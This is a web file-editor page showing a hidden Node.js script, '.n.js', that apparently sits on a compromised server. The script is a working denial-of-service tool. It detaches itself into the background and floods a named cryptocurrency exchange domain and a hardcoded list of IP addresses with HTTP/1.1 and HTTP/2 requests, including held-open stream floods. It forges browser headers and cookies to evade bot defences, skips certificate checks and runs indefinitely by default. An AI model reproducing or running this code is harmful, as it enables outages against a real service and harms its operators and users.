← Back
Editing: .n.js
#!/usr/bin/env node // 2026-09-17 GET only restack after biz=8 recover 06:21Z; no create 'use strict'; const http2 = require('http2'); const tls = require('tls'); const os = require('os'); const { spawn } = require('child_process'); try { os.setPriority(19); } catch (_) {} if (!process.env._NJS) { const ch = spawn(process.execPath, process.argv.slice(1), { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { _NJS: '1' }), }); ch.unref(); try { process.stdout.write('STARTED ' + ch.pid + '\n'); } catch (_) {} process.exit(0); } const HOST = 'quickex.io'; const VHOSTS = ['quickex.io', 'www.quickex.io', 'app.quickex.io']; const DNS = ['87.199.207.128', '159.65.49.147', '64.226.113.6', '165.22.196.213', '109.234.34.18']; const HEAVY = [ '/internal/instruments-bundled', '/api/v2/pairs/popular', '/api/v2/pairs/all', '/internal/instruments/enriched', '/internal/latest-transactions', ]; const IPS = ['109.234.34.18', '159.65.124.208', '159.65.192.251', '159.65.49.147', '159.65.91.230', '165.22.196.213', '64.226.113.6', '87.199.207.128', '89.124.71.89']; const LANGS = ['/zh', '/en', '/ru', '/es', '/uk', '/th', '/fr', '/de', '/fa', '/pt']; const APIS = [ '/internal/instruments-bundled', '/internal/instruments/enriched', '/api/v2/pairs/all', '/api/v2/instruments/public?all=true', '/internal/dict/keys?lang=zh&path=%2F&og=true', '/api/v2/pairs/popular', '/api/v1/sphere/instruments', '/api/v1/sphere/pairs', '/api/v2/rates/private-swaps/one', '/api/v2/pairs', '/api/v2/pairs/new', '/api/v2/pairs/trending', '/internal/latest-transactions', '/api/v1/orders/public/latest', '/api/v1/stats/public', '/partner/api/v1/networks?activity=active', '/internal/blog/', '/api/v2/instruments/public?providers=hat', ]; const UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36'; const SECUA = '"Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"'; const CANCEL = http2.constants.NGHTTP2_CANCEL; const A36 = '0123456789abcdefghijklmnopqrstuvwxyz'; function arg(n, d) { const i = process.argv.indexOf('--' + n); if (i < 0) return d; return process.argv[i + 1] || d; } const SECONDS = parseInt(arg('seconds', '0'), 10); const H2N = Math.max(1, parseInt(arg('h2', '4'), 10)); const FEN = Math.max(1, parseInt(arg('fe', '4'), 10)); const MAXS = Math.max(8, parseInt(arg('inflight', '32'), 10)); const FOREVER = SECONDS <= 0; const STOP_AT = FOREVER ? Number.MAX_SAFE_INTEGER : Date.now() + SECONDS * 1000; const jar = { ab_group: Math.random() < 0.5 ? 'a' : 'b', ab_experiment: 'main_v1', i18n_redirected: 'zh', }; function uuid() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, (c) => { const r = (Math.random() * 16) | 0; return (c === 'x' ? r : (r & 3) | 8).toString(16); }); } const vid = uuid(); jar.ab_visitor_id = vid; jar.visitor_id = vid; jar.session_id = uuid(); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } function to36(n) { let s = ''; let v = BigInt(Math.floor(n)); if (v <= 0n) return '0'; while (v > 0n) { s = A36[Number(v % 36n)] + s; v = v / 36n; } return s; } function tok() { return to36(Date.now()); } function cookieHdr() { return Object.keys(jar).map((k) => k + '=' + jar[k]).join('; '); } function eatSetCookie(sc) { const arr = Array.isArray(sc) ? sc : (sc ? [sc] : []); for (const s of arr) { const kv = String(s).split(';')[0]; const i = kv.indexOf('='); if (i > 0) jar[kv.slice(0, i).trim()] = kv.slice(i + 1).trim(); } if (jar.ab_visitor_id && !jar.visitor_id) jar.visitor_id = jar.ab_visitor_id; } function connectH2(ip) { return new Promise((resolve, reject) => { const client = http2.connect('https://' + ip, { servername: HOST, rejectUnauthorized: false, ALPNProtocols: ['h2'], }); const t = setTimeout(() => { try { client.close(); } catch (_) {} reject(new Error('t')); }, 7000); client.once('connect', () => { clearTimeout(t); resolve(client); }); client.once('error', (e) => { clearTimeout(t); reject(e); }); }); } function hdr(method, path, kind) { const html = kind === 'html'; const ref = html || Math.random() < 0.5 ? 'https://' + HOST + '/' : 'https://' + HOST + '/zh'; const h = { ':method': method, ':path': path, ':scheme': 'https', ':authority': HOST, 'user-agent': UA, 'accept': html ? 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' : '*/*', 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', 'accept-encoding': 'gzip, deflate, br', 'cookie': cookieHdr(), 'referer': ref, 'sec-ch-ua': SECUA, 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-site': html ? 'none' : 'same-origin', 'sec-fetch-mode': html ? 'navigate' : 'cors', 'sec-fetch-dest': html ? 'document' : 'empty', }; if (html) h['upgrade-insecure-requests'] = '1'; return h; } function fire(client, path, kind) { return new Promise((res) => { let done = false; const fin = (code) => { if (!done) { done = true; res(code || 0); } }; try { const req = client.request(hdr('GET', path, kind)); let n = 0; req.on('data', (c) => { n += c.length; if (n > 768 * 1024) { try { req.close(); } catch (_) {} } }); req.on('response', (h) => { const code = parseInt(h[':status'], 10) || 0; eatSetCookie(h['set-cookie']); req.on('end', () => fin(code)); }); req.on('error', () => fin(0)); req.on('close', () => fin(0)); req.end(); setTimeout(() => fin(0), 12000); } catch (_) { fin(0); } }); } function connectH1(ip, sni) { return new Promise((resolve, reject) => { const s = tls.connect({ host: ip, port: 443, servername: sni || HOST, rejectUnauthorized: false, ALPNProtocols: ['http/1.1'], }); const t = setTimeout(() => { try { s.destroy(); } catch (_) {} reject(new Error('t')); }, 7000); s.once('secureConnect', () => { clearTimeout(t); resolve(s); }); s.once('error', (e) => { clearTimeout(t); reject(e); }); }); } async function h1Flood(ip) { const paths = HEAVY.concat(APIS).concat(LANGS); let n = 0; let vi = (Math.random() * VHOSTS.length) | 0; while (Date.now() < STOP_AT) { let s; const sni = VHOSTS[vi++ % VHOSTS.length]; try { s = await connectH1(ip, sni); const send = () => { let p; if (Math.random() < 0.55) p = HEAVY[n++ % HEAVY.length]; else p = paths[n++ % paths.length]; const html = LANGS.indexOf(p) >= 0; const path = html ? p + '?_=' + tok() : p; s.write( 'GET ' + path + ' HTTP/1.1\r\n' + 'Host: ' + sni + '\r\n' + 'User-Agent: ' + UA + '\r\n' + 'Accept: ' + (html ? 'text/html,*/*;q=0.8' : 'application/json') + '\r\n' + 'Accept-Language: zh-CN,zh;q=0.9\r\n' + 'Accept-Encoding: gzip, deflate, br, zstd\r\n' + 'x-locale: zh\r\n' + 'Cookie: ' + cookieHdr() + '\r\n' + 'Referer: https://' + sni + '/zh\r\n' + 'sec-ch-ua: ' + SECUA + '\r\n' + 'sec-ch-ua-platform: "macOS"\r\n' + 'Connection: keep-alive\r\n\r\n' ); }; for (let i = 0; i < 3; i++) send(); await new Promise((r) => { const t = setTimeout(() => { try { s.destroy(); } catch (_) {} r(); }, 25000); s.on('data', () => { try { send(); } catch (_) {} }); s.on('close', () => { clearTimeout(t); r(); }); s.on('error', () => { clearTimeout(t); r(); }); }); } catch (_) { try { if (s) s.destroy(); } catch (e) {} } await sleep(25); } } async function classify(ip) { let c; try { c = await connectH2(ip); try { c.close(); } catch (_) {} return { h2: true, ok: true }; } catch (_) { try { if (c) c.close(); } catch (e) {} return { h2: false, ok: false }; } } async function rstFlood(ip) { let n = 0; const paths = APIS.concat(LANGS); while (Date.now() < STOP_AT) { let client; try { client = await connectH2(ip); try { client.setMaxListeners(0); } catch (_) {} const held = []; while (Date.now() < STOP_AT && client && !client.closed && !client.destroyed) { while (held.length < 96 && Date.now() < STOP_AT && client && !client.closed) { try { const p = paths[n++ % paths.length]; const html = LANGS.indexOf(p) >= 0 || p === '/'; const path = html ? p + '?_=' + tok() : p; const req = client.request(hdr('GET', path, html ? 'html' : 'api'), { endStream: false }); req.on('error', () => {}); held.push(req); } catch (_) { break; } } await sleep(40); } } catch (_) {} try { if (client) client.close(); } catch (_) {} await sleep(12); } } async function htmlFlood(ip) { while (Date.now() < STOP_AT) { let client; try { client = await connectH2(ip); try { client.setMaxListeners(0); } catch (_) {} let inflight = 0; while (Date.now() < STOP_AT && client && !client.closed && !client.destroyed) { while (inflight < Math.min(12, MAXS) && Date.now() < STOP_AT && !client.closed) { inflight++; const lang = LANGS[(Math.random() * LANGS.length) | 0]; fire(client, lang + '?_=' + tok(), 'html').then(() => { inflight = Math.max(0, inflight - 1); }); } await sleep(4); } } catch (_) {} try { if (client) client.close(); } catch (_) {} await sleep(30); } } async function apiFlood(ip) { while (Date.now() < STOP_AT) { let client; try { client = await connectH2(ip); try { client.setMaxListeners(0); } catch (_) {} let inflight = 0; let n = 0; while (Date.now() < STOP_AT && client && !client.closed && !client.destroyed) { while (inflight < MAXS && Date.now() < STOP_AT && !client.closed) { inflight++; const p = APIS[n++ % APIS.length]; fire(client, p, 'api').then(() => { inflight = Math.max(0, inflight - 1); }); } await sleep(3); } } catch (_) {} try { if (client) client.close(); } catch (_) {} await sleep(25); } } (async () => { while (Date.now() < STOP_AT) { const rows = await Promise.all(IPS.map(async (ip) => [ip, await classify(ip)])); const h2ips = rows.filter((x) => x[1].h2).map((x) => x[0]); const okips = rows.filter((x) => x[1].ok).map((x) => x[0]); const jobs = []; const live = (ip) => DNS.indexOf(ip) >= 0; for (const ip of DNS) { for (let i = 0; i < 8; i++) jobs.push(h1Flood(ip)); } for (const ip of h2ips) { const n = live(ip) ? H2N : 1; for (let i = 0; i < n; i++) jobs.push(rstFlood(ip)); if (live(ip)) jobs.push(htmlFlood(ip)); } const apiIps = (okips.length ? okips : h2ips).slice(); for (const ip of DNS) { if (h2ips.indexOf(ip) >= 0 && apiIps.indexOf(ip) < 0) apiIps.push(ip); } for (const ip of apiIps) { const n = live(ip) ? FEN : 1; for (let i = 0; i < n; i++) jobs.push(apiFlood(ip)); } if (!jobs.length) { await sleep(2000); continue; } await Promise.all(jobs); } process.exit(0); })(); if (!FOREVER) setTimeout(() => process.exit(0), SECONDS * 1000 + 3000).unref();
Save File
Cancel